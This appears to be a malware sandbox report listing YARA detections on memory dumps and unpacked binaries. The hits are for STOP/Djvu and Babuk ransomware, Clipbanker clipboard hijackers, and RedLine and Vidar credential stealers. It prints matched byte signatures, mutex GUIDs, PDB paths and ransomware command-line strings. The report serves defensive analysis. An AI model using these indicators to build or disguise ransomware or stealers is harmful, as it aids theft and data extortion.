0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2113400780.0000000001CFE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1190:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000002.2354307635.0000000000B2D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x734c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000016.00000002.2436081447.000000000425D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.2046892005.000000000444F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: Z4CYGTBlj7.exe PID: 5144	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 5144	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31625:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 6392	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 6392	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x316c9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 7136	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 7136	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x47fb0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 6600	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 6600	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 6600	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xdd34a9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 2724	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 2724	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37ac9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 4408	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 4408	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 4408	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x53df8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 3160	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 6656	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 6656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 6656	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 320	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 320	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4499a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 5680	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 5680	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x36385:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: Z4CYGTBlj7.exe PID: 3160	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: Z4CYGTBlj7.exe PID: 3160	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x38b60:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 88 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.build3.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.build3.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.24115a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.24115a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.24115a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
18.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
18.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.24115a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.24115a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.9115a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.9115a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
